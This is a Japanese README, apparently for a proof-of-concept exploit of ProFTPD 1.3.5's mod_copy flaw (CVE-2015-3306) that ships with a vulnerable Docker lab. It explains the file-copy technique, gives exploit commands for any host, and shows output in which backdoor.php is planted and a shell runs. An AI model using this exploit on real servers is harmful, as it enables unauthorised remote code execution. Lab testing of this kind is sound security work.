
ProFTPd 1.3.5 - (mod_copy) リモートコマンド実行エクスプロイトと脆弱なコンテナ
ProFTPD は、Unix および Unix 系オペレーティングシステム向けの、高度に設定可能な FTP デーモンです。ProFTPD は、セキュアで設定可能な FTP サーバーへの欲求から生まれました。Apache Web サーバーへの深い賞賛に触発されています。他のほとんどの Unix FTP サーバーとは異なり、旧来の BSD ftpd コードベースから派生したものではなく、完全に新しい設計と実装です。
テスト用に脆弱な環境をセットアップするには、Docker のインストールが必要です。次のコマンドを実行するだけです:
docker build -t vuln/cve-2015-3306 .
docker run --rm -it -p 21:21 -p 80:80 vuln/cve-2015-3306
これにより、ホストの 21 ポートと 80 ポートで脆弱なアプリケーションが起動します。
ProFTPD 1.3.5 の mod_copy モジュールは、リモートの攻撃者が site cpfr および site cpto コマンドを介して任意のファイルを読み書きできるようにします。
認証されていないクライアントは、これらのコマンドを悪用して、ファイルシステムの任意の場所から選択した宛先へファイルをコピーできます。コピーコマンドは ProFTPD サービスの権限で実行されます。ProFTPD はデフォルトで 'nobody' ユーザーの権限で実行されます。/proc/self/cmdline を使用して PHP ペイロードを Web サイトのディレクトリにコピーすることで、PHP のリモートコード実行が可能になります。
このターゲットをエクスプロイトするには、次のコマンドを実行するだけです:
./exploit.py --host HOST --port PORT --path PATH
この脆弱なイメージを使用している場合は、次のコマンドを実行するだけです:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
エクスプロイト実行後、backdoor.php というファイルが Web ディレクトリのルートフォルダに格納されます。さらに、エクスプロイトはバックドアにコマンドを送信できるシェルを提供します:
./exploit.py --host 127.0.0.1 --port 21 --path "/var/www/html/"
[+] CVE-2015-3306 exploit by t0kx
[+] Exploiting 127.0.0.1:21
[+] Target exploited, acessing shell at http://127.0.0.1/backdoor.php
[+] Running whoami: www-data
[+] Done
この脆弱性は Vadim Melihow によって発見されました。
このプログラムまたは以前のプログラムは教育目的のみです。許可なく使用しないでください。通常の免責事項が適用されます。特に、これらのプログラムによって提供される情報や機能を直接的または間接的に使用したことによる損害について、私(t0kx)は責任を負いません。作者またはインターネットプロバイダーは、これらのプログラムまたはその派生プログラムの内容や誤用について一切責任を負いません。これらのプログラムを使用することにより、これらのプログラムの使用によって生じた損害(データ損失、システムクラッシュ、システム侵害など)が t0kx の責任ではないことを受け入れたものとみなされます。